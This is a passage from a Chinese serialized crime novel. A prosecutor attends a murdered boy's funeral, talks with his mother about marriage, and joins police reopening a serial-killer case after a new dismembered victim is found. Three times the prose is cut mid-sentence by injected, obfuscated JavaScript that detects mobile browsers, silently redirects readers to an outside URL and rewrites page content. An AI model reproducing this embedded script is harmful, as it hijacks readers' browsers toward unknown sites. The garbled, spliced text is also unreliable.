很快,面包车启动了,它发出“嗡”的一声轻响,在司机的操纵下丝滑地并入主干道,迅速地消失在了戚玉衡的视线里。 陈彦博轻声道:“今天警方来医院找我、叫我去认尸的时候,我还以为是我连上三天班,累出幻觉了。昨天早上还好好的一个孩子……就一天的时间……” 陈彦博沉默了一会,又道:“我真应该多叫一个人跟着她的。我不该只叫一个学生跟着她的……她那个情况,明显非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不可能是她的同乡,她家境不太好,同村的其他人也没有好到哪里去。至少,应该没有人能随便掏出上万块给她买手机。” 陈彦博搓着下巴:“到底是怎么认识的呢?我真是越想越不甘心……说不定稍稍查一查就能查到呢?要我说,死人才不在乎名声呢!” 吃了两口菜后,陈彦博突然道:“不行,我想来想去,还是觉得得说服美星的父母,让他们去申请尸检……最起码要尸检、把胚胎的DNA存档啊。这样要是以后真把那个变态找到了,才有证据。要是美星草草火化,到时候就算把人找到了,证据链不完整,也没法起诉他。” 戚玉衡看着陈彦博:“我也觉得。” 陈彦博啧了一声:“看他们的态度,好像是铁了心不打算管这事了……但俗话说得好,有钱能使鬼推磨。你说,要是给她父母点钱,他们能不能配合一下我们?如果这小姑娘不是我接的诊,我也就不管了。但这事就落到我头上了,要是让我眼睁睁地看着这事就那么算了,有点不能够。我心里不舒服,”陈彦博咬了咬牙:“要是在我能力范围内,这个钱,我出了。” 戚玉衡摇了摇头:“我不知道。我跟他们也不太熟悉,但我觉得这也是个办法……总得试试。我今天晚上跟严老师要一下他们的联系方式,我去跟他们谈……如果真的只能通过花钱来达到目的,这个钱没有让你一个人掏的道理。” “你和美星萍水相逢,尚且能为她出钱,”戚玉衡有些伤感地笑了笑:“我好歹是美星指定的‘遗产继承人’,就是为了这份情谊,我也不能袖手旁观。” 陈彦博看着他,欲言又止。过了一会,他叹了口气,用筷子戳着盘子:“无语了,自己女儿被人欺负了,还要外人来出头。什么父母?” 戚玉衡垂着眼睛,有些无奈地笑了一下:“毕竟不是所有的父母都会喜欢自己的小孩。” 吃过饭,戚玉衡看了一眼手机,发现沈灵均给他发来了一个殡仪馆的定位: 【Shen:玉衡,长乐的告别仪式定在明天早上的九点,地点在二楼碧波堂。】 73.第 73 章 十二月十六日,星期日,小雪。这是这一年容州冬季的初雪。作为一个位于南北方交界地带的城市,容州并不是一个每年都会下雪的城市。但这一年、这一天,容州下雪了。但因为容州白天的气温还是在零度以上,雪在落在地上的那一瞬便会融化,它的一生,不过弹指转瞬。 李长乐的一生,也如是。 李长乐的告别仪式是九点开始,但沈灵均八点半就到了碧波堂。与他一样提前到达的还有戚玉衡和陈彦博。 二人帮着沈灵均一同布置守灵厅,陈彦博看向棺木里长乐的遗体,叹了口气,道:“你……你给长乐做遗体整形了么?” 沈灵均点点头:“勉强做了一下。但是他面容不好,所以只能这么盖着,不然会吓到人。” “有那么不好吗?” “嗯。” 陈彦博没再说什么,沉默地揽住了沈灵均的肩。 第一个到场的是孙一涵夫妻,他们两个人给长乐送了个花圈,随后是宋颖和长乐班级上的班长,他们作为班级代表也送来了花圈;之后是长乐的邻居,邻居一家向来和长乐关系不错;他们院的检察长唐绍荣也来了…… 比起旁边几个告别厅,碧波堂称得上冷清——毕竟长乐没什么亲戚——没什么把他放在心上的亲戚,也没什么朋友。 九点十分的时候,刘崇明和吴芳芳来了。摆好花圈、向遗体鞠过躬后,刘崇明似乎是想跟他说些什么,但或许是觉得今天的场合实在不适宜谈话,他最后什么也没说,遥遥朝沈灵均点了个头,便带着吴芳芳安静地离开了。 九点十五,方滢和她的父母一块来了。 沈灵均上次在商场里见到她的时候,她还是个苹果脸的姑娘,但现在她两颊都已经瘦到凹陷,沈灵均观察了她好一会,发现她眨眼的频率很慢,整个人看起来木然而呆滞。方滢将带来的花放到灵桌上,随后走到沈灵均面前:“您好……我是方滢。您是不是就是长乐的沈叔叔?” “是。长乐和你提过我?” 方滢嘴角出现了一点笑影:“嗯。他跟我说过他家里的事。他跟我说,就算不告诉我您的长相,我见您的第一眼就能认出来您。只要找一群人里长得最帅的那个就可以了。” 沈灵均努力挤出一个微笑:“他这么说吗?他可没有当我面这么夸过我。” 方滢垂着头,眼泪大颗大颗地往地上坠,她猛地朝沈灵均鞠了一躬:“真对不起。真对不起。我真的不想骗长乐的,但我……当时,他们威胁我,说我不给长乐打电话的话就要杀了我们一家……” 方滢的瞎眼母亲也一个劲地朝沈灵均道歉:“我们也是没有办法……” 沈灵均扶着方滢的肩,把人扶了起来,轻声道:“我知道的。你们是被迫的,你们不用道歉。” 沈灵均轻轻拍着方滢的肩:“小滢,你现在的首要任务,是养好身体、调整心态,把这件事忘掉,然后复学,准备高考。长乐他……永远停在这里了,但你还是得继续往前走的。我知道,你和长乐是好朋友,我相信,长乐永远都会希望你过得好的。你有没有接受警局提供的心理疏导?我认识几个应对心理创伤的专家,如果你觉得你需要和他们聊聊的话,可以随时和我联系。” 沈灵均看向方父方母:“大哥大姐也是一样。心理上的问题,一定不能忽视。” 戚玉衡将沈灵均的话翻译成了手语,“说”给了表情有些无措的方父。 沈灵均本还想劝方滢不要再去跳舞了,但是他不清楚方滢的父母现在知不知道这件事,于是没有贸然开口。几人说了会话,看方滢一直哭泣不止,沈灵均便“赶了客”,将方滢一家送出了灵堂。 送走方滢一家后,沈灵均问戚玉衡道:“你会手语?” “是,我会的。” “你什么时候学的?怎么会想到学手语的呢?”沈灵均指了指自己的耳朵:“你不是有一只耳朵可以听见吗?” 戚玉衡有些不好意思:“算是未雨绸缪吧。当时……我左耳也听不见的时候,我心里就有一些……害怕,我想,虽然现在我的左耳可以通过助听器听见声音,但万一、万一,有一天它也彻底听不见了呢?连助听器也不好用了呢?当时心里很悲观。就想着,这种可能虽然小,但也不是没有,我应该为此提前准备,就去学了手语。” “这样……” 这时,沈灵均注意到,戚玉衡眼神闪动了一下,表情也变得有些微妙,视线明显落在了他的背后。他回过头一看,发现是杜菲来了。 和他视线相对的一瞬间,杜菲像是被他的眼神烫到了一下,迅速地低下头去。 沈灵均的嘴唇动了动,良久,才开口道:“我以为你不会来呢。” 杜菲红着眼,看了一眼棺木,底气不是很足地:“我……总得来送他最后一程。” 杜菲缩着肩膀,神情颇有些小心翼翼:“沈先生,我……您能把您的卡号给我吗,我今天下午就把欠您的钱还有这一个月的利息打给您。” 沈灵均看了她一会,没有回答她的问题,而是道:“你女儿怎么样?她应该已经做完移植手术了吧?” “是。她、她目前挺好的,没出现排异反应。” 沈灵均点点头,语气平淡:“恭喜。” 杜菲表情局促地搓着手:“……谢谢。” 沉默了一会后,沈灵均道:“长乐,他真的是个好儿子吧?” 杜菲愣了一下,随后立刻答道:“是,是的,他一直是个好孩……” 沈灵均打断她道:“你也没想到吧,这个一直不怎么关心的大儿子,死居然也能死得这么有用。他们给了你多少钱?” 杜菲撇开头,避开沈灵均的眼神:“……三百万。” “挺大方的。挺好。” 沈灵均侧过身,不再去看杜菲:“我之后把卡号发给你。钱还完之后,我们就两清了。没了长乐,我们不过是陌生人。以后你生活上如果再遇到什么难处,不要再来找我了。” 杜菲喏喏地应了。随后,她走到长乐的棺木旁,站了很久才离开。 杜菲走后,一直没说话的陈彦博道:“什么三百万?谁给她三百万?” “嫌疑人的家属。杜菲签了谅解书。” 陈彦博眼睛瞪得像个铜铃:“什么??谅解书?她有什么资格签谅解书!她算是什么东西!” 说完,陈彦博也觉得自己这话于理不合,又道:“早就已经和孩子断亲的亲妈,也可以签这种东西吗?长乐四岁之后,她照顾过那孩子哪怕一天吗?她为那孩子付出过一分钱吗?不是……凭什么?她凭什么替长乐谅解?” “……她有难处。” “难处,难处,好好好,”陈彦博双手叉着腰,反复深呼吸了几次之后,他看向沈灵均道:“如果是你,在有谅解书的情况下,你怎么给那些人量刑?” 陈彦博抿抿唇:“都、都死刑的可能性大吗?” 沈灵均摇摇头:“不可能全都死刑。这些嫌疑人有主从犯之别,量刑本就不能一刀切,全部顶格量刑。而且又有谅解书,嫌疑人的经历很可能也能博得一些同情分,代理律师还是久经战阵、经验丰富的大状……但说实话,”沈灵均笑了一下:“只有当刑罚对于犯罪分子而言是‘惩罚’是‘煎熬’的时候,被害人家属才会感觉‘大仇得报’吧。可对于卢江峰他们这些人来说,他们早已经做好了接受惩罚的心理预期。他们完全不在乎自己的结局,所以我也……不是很在乎了。” 十点,长乐被推进了火化间。 同时在火化间火化的人还有三个,沈灵均能在等待室的LED屏上看到他们的年龄,一个两岁,早夭,一个四十岁,壮年而逝,一个九十一岁,高寿。大屏上的四行年龄,像是老天爷冥冥中的一课:你看啊,人生可以这么短,又这么长。 离开殡仪馆后,沈灵均接到了徐女士的微信,问他今天回不回家吃饭。 仔细算一算,他也有一个月没回家了,沈灵均于是回复说好。 沈灵均到家的时候,一楼只有他们家的阿姨程雅心在。沈灵均喊了徐锦英两声,徐锦英才从二楼下来:“来啦来啦,小点声,你爸睡着呢。” 看着徐锦英身上那件明显不应季的吊带碎花裙,沈灵均道:“妈,你和我爸准备去度假了?” “对,我正试衣服呢。我打算下周把手头的紧要工作处理一下,下下周,我就带你爸去芭黎岛。天气越来越冷了,你爸最近腿一直疼。” 虽然容州的冬天无论如何都算不上寒冷,但沈霞举的腿受不得一点冷和湿。所以这些年来,徐锦英像是一只不断迁徙的候鸟,容州梅雨季的时候她就带着沈霞举北上,容州冬季的时候她又带着沈霞举南下。 “爸怎么这个点还在睡?都中午了。” “你爸他有点生病,刚挂完水。” 沈灵均转头看向她:“爸病了?严重吗?” 徐锦英朝他做了个安心的手势:“放心啦,就是换季感冒。你爸的体质你也知道,玻璃娃娃,冷风一吹就要倒的……怪我,保暖工作应该给他做得更到位的。但没什么大事,已经退烧了。” 徐锦英上下打量着沈灵均:“你今天怎么穿成这样?一身黑,黑西服黑大衣,你去参加谁的葬礼了吗?” 沈灵均心里一跳,但面色如常:“不是,随手搭的。你不觉得很酷吗?” “酷倒是酷啦,”徐锦英走到沈灵均面前,仔细打量着儿子的脸:“我怎么感觉你这一个月瘦了不少啊?怎么搞的?一个年末加班能给你折磨成这样?” 沈灵均胡诌道:“我最近正打算先减脂再增肌,控制了一下饮食,所以瘦了一点。” 徐锦英捏了捏沈灵均的胳膊:“诶呀,很好了,练成你这样就很不错了……” 说完,徐锦英直起身,脸上带着点神秘:“对了,你等妈一下,妈给你看个好东西。” 随后,徐锦英便风一样地卷到二楼,又飞一样地跑了下来。徐锦英将一个首饰盒献宝一样的递给沈灵均:“你打开看看。” 说来有些好笑,在商场上,徐锦英是很符合刻板印象的“女强人”形象,强势、严肃、一丝不苟,但此时此刻,一脸得意地把首饰盒交给他的徐锦英,脸上竟有些少女的得意与娇憨。沈灵均将这个首饰盒打开,随后挑了挑眉: ——首饰盒里,赫然是一枚花型戒指。这枚戒指以一颗至少十克拉的圆形粉钻为花心,周围的一圈不规则花瓣则以钻石镶嵌,在不是很好的自然光条件下,它依旧流光溢彩,璀璨夺目。 沈灵均把盒子递还给徐锦英:“你买的?” “嗯,猜猜多少钱?” 沈灵均对珠宝市场毫无了解,一时间拿不准他该是往高了猜还是往低了猜,试探性地答道:“一千万刀?” “怎么可能这么便宜!这可是高级别的粉钻,十一克拉呢,颜色漂亮,纯净度也特别好……” “所以,多少钱?” “一千三百万刀,拍卖会拍的。我是真的觉得这个粉好漂亮。” 虽然现在的徐锦英已经家财万贯,但因为穷苦的出身,所以比起身家差不多的其他富豪,徐锦英在花钱上堪称节俭。在沈灵均的印象里,徐女士只有一两套撑场面的小克重珠宝,这还是她第一次豪掷千金来买珠宝。 沈灵均很捧场地夸赞道:“是很漂亮,很闪。” 徐锦英把戒指戴到手上欣赏了一会,道:“但这个不是给我买的。” “嗯?那是给谁买的?” 徐锦英有些狡黠地看了沈灵均一眼:“这是给我未来的儿媳妇买的。这个粉啊,黄黑皮戴不好看,我就是黄黑皮,你看,我戴着多显黑啊。” 沈灵均无奈地揉了揉太阳穴:“您可得了,快把这种好东西自己留着吧。您那儿媳妇还是没影的事呢。” “诶,说起来,灵气科技老总的女儿……” 沈灵均抬起一只手:“我没兴趣,不相亲。” 徐锦英切了一声,嘟囔道:“不识好歹。” 徐锦英满意地看着手上的戒指:“但不管你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245128|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么说,这个还是要留给我儿媳妇的。我当年过门之前,你奶奶给了我一镯子,真是好镯子,冰胶蓝紫底,现在至少值个七八十个的。也不知道你奶奶怎么在乱世保下来的……我也得给我儿媳妇预备点好东西啊。这个戒指,就得年轻、白的人戴着好看。” 沈灵均看着这个硕大的鸽子蛋,脑海里一下子冒出戚玉衡的脸。 沈灵均连忙挪开眼神。犹豫了一会后,沈灵均问道:“妈,我问你一个问题啊。” “你问。” “你希望……我找一个什么样的对象呢?” 徐锦英扭头看着他:“我的标准啊?” “对。” 徐锦英双手捧住沈灵均的脸:“那第一点,就是长相上得配得上我儿子吧。我儿子长得这么帅,怎么也得配个美女吧。虽然你说你不在乎外貌……别说得那么轻松,就算是为了下一代,也得在乎啊。我要是没找你爸,你能生得这么闭月羞花、花容月貌、貌比潘安,一加一大于二吗?” 沈灵均一阵肉麻,他把徐锦英的手从自己脸上拿开:“……然后呢?” “然后……我不希望她是图咱们家钱才跟你在一起的。最好也不是图你这个脸跟你在一起的,”徐锦英点了点沈灵均的胸口:“得是图你这个人的女孩。” “然后?” “首先就是人品,人品得好。三观得正。” “额……性格呢,我的标准是,温柔点好。挑朋友、挑下属、挑合作伙伴,跟我挑儿媳妇还不一样,儿媳妇,我就想要那种温温柔柔、宜家宜室、知冷知热的女孩子。当然啦,这是我的个人喜好哦……” “家室呢……我不要求对方有多有钱哦。但是至少得,身家清白体面……我的意思是,家里也不能太穷,不要有乱七八糟的事,亲属关系简单、和谐,是独生女最好。你看,你妈我就是大家庭出来的,你爷爷奶奶当年有些瞧不上我。” “我完全理解他们。不谈别的,我和你爸结婚的时候,我家里那是一穷二白,你小姨、还有……你小舅,当时都还在读大学,我得替他们交一部分学费。你外公外婆没有社保和养老保险,养老压力全都得儿女来扛。” “之后这些年,一直到现在,我都在拉拔我这些弟弟妹妹。就说现在,我给了他们四个合计一个点的干股,算下来一年也是三千万的分红。当然了,这是我自愿给的……但这是不是就是小家反哺大家了?我没有这么多弟弟妹妹,这三千万是不是我就自己留下了?人都是自私的嘛。我也不是说让你找有钱人的意思,至少,家庭关系不要太乱,家里条件不要太差,家长得是识得大体的人。” “还有还有……我希望她是那种比较知性的人,学历高些最好了,”徐锦英捧住自己的脸,“你也知道我啦,我对那种聪明的、有知识、温文尔雅的人,完全没有抵抗力啊。我当时和你爸说了三句话,就不可自拔地爱上他了。唉,我重活一百次,也会第一百零一次爱上你爸的。” “都什么年代了呀,您还学历崇拜,现在这个时代,得学历祛魅。” “什么叫学历崇拜?我又不是看到学历高的人就喜欢。你不懂,知性是一种感觉。跟你这种和我性/癖不一样的人说不通。没品。” 沈灵均:…… “……就这些?” “目前就想到这些。” 沈灵均双手交握,两根大拇指不断绕着圈:“那我问你,假如,有一天,我找了一个完全不符合你标准的恋爱对象,你会有什么反应呢?” 徐锦英定定地看了沈灵均一会,随后一拍大腿:“沈灵均同志!我希望你老实交代,坦白从宽,抗拒从严,争取得到组织的从轻处理!你是不是找对象了?你现在在这给我打预防针呢!” 沈灵均忙摆手:“没有,真没有。我只是问问,”沈灵均顿了一下,“毕竟你很在乎我的婚恋状况……天下大多数的父母都会这样。但很多亲子矛盾的核心,就是子女与父母互相没法满足对方的期待,然后两败俱伤。” “我不希望因为我的个人问题而伤害到你、伤害我爸。但婚姻爱情是个非常私人的事,感情瞬息万变且无法控制,爱情对于大多数人而言都是个偶然事件而非必然事件。我很可能满足不了你们的期待,甚至与你们的期待大相径庭……这么说,你说我是给你打预防针,也没错。” 徐锦英垂下眼睛想了想,耸耸肩:“找一个完全不符合我标准的恋爱对象?那也很难吧?你难道要找一个,很丑,很没有知识,家庭经济状况赤贫、家庭关系混乱,性格跋扈,人品低劣的女人吗?你会喜欢上这样的人?那我就得找大师把她收了。这一定是个狐狸精,它给你下降头了。” “倒也不会这么夸张……” “是吧?你肯定不会喜欢上人品不过关的人的。” “……嗯。” “至于其他的,”徐锦英靠在沙发上,“如果我们很反对,很不满,你会和她分手吗?” 沈灵均微微抬眉,没有出言表态,只是笑了。 徐锦英抱住一个抱枕,啧声道:“你看。你看你看。我们反对也没用,你那么固执,那么有主见,我一直很清楚,就算我催你去相亲,但我其实根本没有权力、也没有能力主宰你的婚姻大事。所以,如果有一天,你爱上了一个我很不喜欢的人,那我也只能……自我消化?自我和解。这是你的人生。你很早就开始自己为自己的人生负责了,你也会为这次选择负责。” “像你说的,很多父母子女间的矛盾跟满足不了对方的期待有关。但……你很早就满足我所有的期待了。你不必为满足任何人的期待活着,”徐锦英指着自己,“你妈我,很有钱的哦。很会赚钱的哦。而我会这么努力赚钱,除了满足我自己的野心、自己的愿望,就是因为我想让你爸爸、让你自由自在的生活。” 说完,徐锦英抱住沈灵均的胳膊:“但当然了……我还是想要一个符合我标准的儿媳。尽量吧,大儿,尽量,好不好?” 沈灵均垂下眼睛,拍了拍徐锦英的手:“谢谢你,妈。” 74.第 74 章 吃过午饭,沈灵均便回房午睡了。自长乐出事后,他本来就不太乐观的睡眠状况进一步恶化,入睡越来越困难,睡眠时间也越来越短,医生给他开的药已经无法辅助他入眠,他每天大约只能睡三四个小时。 此时此刻,明明身体已经很疲惫,但是精神依旧像是根绷紧的弦,怎么都无法放松下来,沈灵均躺了好一会才感觉有些困意。然而,还没等他进入睡眠状态,沈灵均的手机就接到了电话。 沈灵均拿起手机,发现给他打电话的是检察长唐绍荣。沈灵均捏了捏鼻梁,尽量让自己清醒一些,才接起电话:“检察长?” 唐绍荣没有跟他寒暄,语气颇有些严肃:“灵均,你看新闻了吗?” “没有,怎么了检察长?出什么事了?” “孔鹏和吴莉莉两个人开了好几个养殖场,这事你还记得吗?他们两个人虽然被捕了,但是那几个养殖场还维持着正常的运转。今天早上,他们两人开在晋安镇的那个养鸡场的员工照常上工,在鸡场的粪坑里发现了几个大垃圾袋。” “是尸块。” 沈灵均脑海里的最后一丝睡意也烟消云散了。 “从尸块的形态上看,这个案子的手法和3.18案的手法很相像。不管这是又一起模仿作案还是3.18案凶手再次作案,这起案子无疑会掀起一波舆论浪潮。市局那边对我们提出商请,希望我们提前介入这个案子。我想来想去,觉得最适合这个工作的人就是你。你呢?你想去吗?如果你觉得……” 沈灵均立刻答道:“想去。我想去的。” “那你最近就在市局那边办公吧,至于你手里的案子,你让你助理整理一下,交到你们关主任那里,让他重新分下去。” “好。” 挂断电话,沈灵均便立刻穿上衣服下了楼。 沈霞举这会已经醒了,正和徐锦英倚在一起看电影。 徐锦英抬头看向他:“你睡醒了啊?” 看沈灵均拿起外套,徐锦英站起身:“你这就要走啊?” “对,院里有点事,我过去一趟。” 徐锦英追在他身后:“周末还加班啊?你别这么急啊,我给你拿点东西,雅心,把那个海参……” 沈灵均扶住徐锦英的肩膀:“不拿了妈,你留着和爸吃吧,你和爸走的时候告诉我一声,我送你们。” 徐锦英拂开他的手,嗔道:“行啦,你都忙成这样了,还用你送?我直接叫司机送我们了。走吧走吧,安心工作去吧。” 沙发上的沈霞举也朝他挥了挥手。 沈灵均笑了笑:“那好吧。” 转过身后,沈灵均脸上的笑容顷刻间淡了下来。 来到市局,沈灵均直奔刑侦支队办公室。刑侦支队办公室的门此刻正大敞着,沈灵均走到门边敲了敲:“瞿队。” 瞿春光回头看向他,愣了一下:“沈检?你怎么……”但瞿春光很快就缓过神来:“啊——市检派驻的是你?” 瞿春光于是带头鼓起掌来:“欢迎沈检。” 等稀稀落落的掌声结束,沈灵均问道:“案子怎么样?被害人身份确认了吗?” 瞿春光轻叹了一声,拿起一张照片:“确认了。杨枫词,市一中的高三学生,下个月才满十八岁。” 瞿春光抬了抬下巴,示意着门外:“父母和弟弟正在接待室,刚到。” 沈灵均接过那张照片,低头看着:“他成绩怎么样?” “很好。据他父母所说,这孩子自小就聪明过人。他老家在我国西南的一个小镇,家里条件一般,他很小的时候,父母就离家打工了,他当了十几年的留守儿童。小学期间,他就聪明得鹤立鸡群,小学四年级时,数学老师出于考验他的心思教他解一元二次方程,他却很快就学会了,属于中了智商彩票的那类人。十四岁的时候,他被父母接到了容州,他的初中老师进一步挖掘了他的数学天赋,开始大力培养他。他初中的时候就把各种数学竞赛的奖拿到手软了。” “除了数学,他其他的科目在年级也是名列前茅。高中时期,他几乎没掉出过年级前二十。去年年末,他拿到了数学奥林匹克国家集训队的名额,成功保送了燕大数学强基班。” “是符合3.18案凶手筛选条件的一个孩子啊。他是怎么失踪的?” “因为已经确定保送了,杨枫词便不再把全部的精力都投入到学习上。他开始在外面搞副业——他开始在外面做家教补贴家用。因为有国家集训队和燕大保送的光环在身,他的‘生意’还挺不错的。周五晚上,他去学生家里上课。他十一点才下课,而他父母由于需要早起上工,很早就睡了,他弟弟年纪还小,不能熬夜,也睡得很早,所以没人发现杨枫词当晚没有回家。” “昨天早上,醒来的杨父杨母才发现儿子没回来,在下午报了警。” “有现场照片吗?” 瞿春光让开身子:“在这。” 沈灵均一张一张地看过去,不由得皱起眉:“现场的痕迹很杂乱啊,没什么参考价值。” 瞿春光点点头:“从昨天上午起,晋安镇就开始下小雪,但是因为咱们这的气温还是偏高,雪一落地基本上就化成了水,地面条件非常泥泞。昨天下午,孔鹏那个养鸡场的粪坑刚刚清了一次粪,粪坑旁边有相当多工人遗留下来的脚印,根本无法判别脚印生成的先后顺序,痕检的同志目前也没找到任何可疑痕迹。” 沈灵均看向瞿春光:“瞿队,你怎么看这个案子?你倾向于模仿作案,还是……” 瞿春光皱着眉:“我不敢下断言。但是我觉得,不像是模仿作案。我去看过被害人的遗体,那情况,一眼就能看得出,凶手的分尸手法和3.18凶手的手法高度相似。尽管因为……长乐的案子,3.18案最近在民众间的讨论热度很高,但3.18案作案手法的知情范围还是很小的。” 一旁的薛青霜道:“而且如果真的是模仿犯,这也太巧了。怎么就挑在另一个模仿犯作案之后作案?此前的十几年间,他难道不知道3.18案吗?还是说,他是模仿犯的模仿犯?就算犯罪的模仿效应具有短时发作的特征,但这也太短了。我们是在周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15259480|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五早上发布的警情通报,杨枫词是周五晚上失踪的。难道凶手在半天之内就策划完整场犯罪了?” 邓宇星从沈灵均手里抽出杨枫词的照片,放到自己面前。他指着他面前的照片道:“我觉得,这很可能是3.18凶手再次作案。你们看3.18案的八位、外加杨枫词,九位被害人的照片,多赏心悦目的九个孩子啊。大家想想,这九个孩子,是那种大街上随处可见的长相吗?不是吧。这九个孩子,同时都学习成绩优异的概率又有多大?我坚持我之前的看法,我有理由怀疑,除了成绩,凶手也将外貌当作了筛选目标的条件。” 乔瑜附和道:“我同意邓队的话。而且,我觉得凶手不是偶然选在孔鹏家的养鸡场抛尸的。实在是太巧了。容州脏兮兮的地方那么多,凶手怎么就选中了3.18案模仿犯家的厂子抛尸?我觉得,这像是3.18案凶手的一种宣告。宣告……我才是真正的3.18案凶手。从我们目前掌握到的情况看,这个案子和长乐的案子不同,所有特征都能和3.18系列案对得上。” 正说话间,程时新的电话打到了办公室,通知瞿春光等人去会议室开会。 上次来到这个会议室时,沈灵均只能坐在门边旁听,这一次却在桌边有了个位置。会议室依旧人满为患,到场的省厅领导们比上次长乐案时只多不少。针对长乐的案子,孟宽说了不少勉励的话,随后话锋一转,道:“最近网络上的声音,大家或多或少都听到了、看到了。” “社会大众给予我们期望,也给我们压力。3.18案的凶手,今天这起案子的凶手,我们必须把他……或者他们,缉拿归案。今天这起案子的情况,小瞿已经跟我汇报过了,我认为,在现在的局面下,有必要重启3.18案的调查了。3.18案是块难啃的骨头,但我们的牙口也不是软的!大家要有信心、有热情!” “我们不仅要查阅当年办案人留下的案情记录,还要尽一切可能联系当年的案件关系人。时隔多年,当年的现场早已经面目全非,被害人的遗体也早已火化,案件关系人是我们重要的突破口。” 孟宽话音刚落,会议室的门就被推开了,范铭凯手持着两个证物袋:“厅长,各位领导,我们这里有重大发现。” “什么重大发现?” 范铭凯将证物袋交给孟宽:“我们在杨枫词的胃部发现了一个锡纸团,将锡纸团拆开后,我们发现里面包裹着一张纸条。” 孟宽接过证物袋,表情登时变了两变。 孟宽盯着证物袋看了一会,随后冷着一张脸,将证物袋递给了身旁的程时新,示意他继续往下传阅。不一会,两个证物袋就传到了沈灵均手里。一个证物袋里装的是一张沾着血迹、皱巴巴的锡纸,另一个证物袋里装的则是一张不过成年男人半指宽的纸条。 上面印着几个宋体小字: 【这个才是我杀的】 沈灵均下意识地咬紧了牙关,握着证物袋的手紧了又紧,才把它们传给身边的乔瑜。 只听会议室里一声巨响——程时新将会议室里的垃圾桶踢翻了。 75.第 75 章 程时新将桌子拍得震天响:“狂妄!嚣张!无法无天!他根本没把我们警察放在眼里,他藐视法律!” 孟宽用大拇指抵住眉心,劝道:“时新,你先平复一下情绪。虽然不能将这是凶手迷惑警方的手段这种可能完全排除,但是依我的观点,这个案子,大概率是3.18案的凶手所为,可以和3.18案并案侦查,”孟宽抬起头,看向会议室里的众人:“但比之3.18案,他的行事风格更嚣张了。在此之前,他从来没有向警方发出这种挑衅性的言论。” 瞿春光有些不解:“从这个行为来看,凶手的性格应该颇为自负、性格张扬,对法律和国家暴力机关毫无敬畏之心。这样一个人,十五年前,他销声匿迹的理由显然不是什么‘畏惧警方抓捕’‘躲避风头’或是‘良心发现’。这次的被害人杨枫词身高一米八一,体重七十四公斤,不是弱书生。他应该也没有失去‘作案能力’。他当年为什么会突然停手?” 程时新道:“可能的原因太多了。可能是日常生活出了大事,他没时间作案了,可能是短暂地失去了作案能力,花了很长时间修养,也可能是犯了事进监狱服刑了……别的可能我们无法确认,但我们可以调查曾在08年4月至09年4月这一年间入狱服刑的罪犯,看看能不能找到什么线索。” 孟宽点点头:“但现在,最大的突破口还是杨枫词同学这个案子。十几年过去了,现在的大环境可不是十几年前的样子。我们的刑事技术进步了。十几年前,容州的摄像头有多少个?现在又有多少个?长乐的案子能破,我们的大数据技术立了功,这个案子,我们也要这样办。” “尽可能地收集视频证据,凶手肯定不是临时起意决定杀害杨枫词的,在动手之前,他肯定已经摸清了杨枫词的日常动向,他一定跟踪过杨枫词。” “弃尸现场的照片我看过了,痕迹很杂乱,现场的条件也不是很好,但是痕检的同志不能就这么放弃,还得继续查。” …… 回到办公室后,瞿春光便开始分配任务:“宇星,你和青霜去见见杨枫词的老师、同学,和他们聊聊,问问他们杨枫词这两周有没有什么不对劲的地方,有没有跟他们提过什么可疑人士;峻纬,你和小陶去晋安镇,和孔鹏夫妻俩那个养鸡场的员工见个面,看看他们最近有没有察觉到什么异常,见没见过什么可疑车辆;新元,你和子健去调晋安镇附近的监控……” 沈灵均这时举起手:“瞿队,固定证据一类的工作,我可以帮忙的。” “对、对,那沈检我也不跟你客气了,你和乔瑜就负责调查杨枫词出事之前24小时的行动轨迹吧,不光是道路摄像头,商户摄像头的内容也要确认,尤其是要留意可疑车辆。” 沈灵均和坐在对面的乔瑜对视一眼:“好。” 将任务分发下去后,各探组便立刻开始了行动。根据杨枫词父母的说法,杨枫词失踪当天,他白天正常上学,下午放学后——因为杨枫词已经确定保送,他向学校申请了免修晚自习,他先去接了弟弟杨宇川放学,两兄弟在一条商业街上的汤饭店吃了晚餐,随后回了家。晚上七点多,杨枫词从家出发,骑共享单车来到了家附近的地铁站,在站内换乘了一次后,累计坐了十三站地铁,在八点四十分左右到达了雇主家。 上了两个半小时课后,杨枫词离开了雇主家,随后不知所踪。 于是,沈灵均和乔瑜决定先去杨枫词雇主家附近的派出所确认监控。杨枫词的雇主家住在景阳丽都,是个很新的小区,小区的基础设施做得不错,绿化也好,但距离市中心很远,位于六环边缘。周边全是居民区,没什么商业区,人烟稀少,摄像头也不密集。 根据派出所的监控,杨枫词从雇主家离开后,先是步行到了最近的共享单车停车点,扫了一辆共享单车。但下一个路口的监控并没有拍到杨枫词,从共享单车集中停放点到下一个路口,五百米的路程,杨枫词就在这段路程中消失了。 